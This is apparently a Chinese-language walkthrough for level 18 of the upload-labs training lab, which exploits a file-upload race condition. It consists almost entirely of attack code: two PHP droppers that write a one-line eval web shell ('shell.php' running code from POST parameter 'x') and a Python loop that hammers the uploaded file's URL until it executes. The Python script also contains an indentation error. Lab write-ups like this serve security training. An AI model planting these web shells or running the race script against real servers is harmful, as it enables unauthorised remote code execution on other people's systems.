文件上传upload-labs 第18关 条件竞争_upload-labs18

<?php 
 
if (!file_exists('shell.php') && file_put_contents('shell.php', '<?php @eval($_POST[\'x\']);?>')) { 
 
    echo "The shell.php file was successfully created and the content has been written.\n"; 
 
} else { 
 
    echo "The file shell.php already exists.\n"; 
 
} 
 
?>

<?php
 
// 记得转义单引号或者用双引号区分
 
$newScriptContent = '<?php @eval($_POST[\'x\']);?>';
 
// 新脚本的文件名
 
$newScriptFilename = 'shell.php';
 
// 检查文件是否存在
 
if (!file_exists($newScriptFilename)) {
 
    // 创建新脚本文件
 
    $file = fopen($newScriptFilename, 'w');
 
    if ($file) {
 
        fwrite($file, $newScriptContent);
 
        fclose($file);
 
        echo "The $newScriptFilename file was successfully created and the content has been written.\n";
 
    } else {
 
        echo "File $newScriptFilename failed to create.\n";
 
    }
 
} else {
 
    echo "The file $newScriptFilename already exists.\n";
 
}
 
?>

import requests
 
import time
 
# 设置目标网站的URL
 
url = "xxx"
 
# 设置每秒的访问次数
 
rate = 5
 
# 设置持续的时间
 
duration = 60
 
# 计算每次访问的间隔
 
interval = 1 / rate
 
# 初始化开始时间
 
start_time = time.time()
 
# 初始化访问次数
 
count = 0
 
# 在持续时间内重复发送请求
 
while time.time() - start_time < duration:
 
    try:
 
        # 发送请求并获取响应
 
        response = requests.get(url)
 
        # 计数
 
        count += 1
 
        # 响应的文本内容里有"successfully"或者"exists"就停止循环
 
         if "successfully" in response.text or "exists" in response.text:
 
            print("ok" + "Status code - " + str(response.status_code) + "\n")
 
            # 获取返回的文本内容
 
            print(response.text)
 
            break
 
        time.sleep(interval)
 
    except requests.RequestException as e:
 
        # 输出异常信息并退出循环
 
        print("Error: " + str(e))
 
        break
 
 
 
print("总请求次数: " + str(count))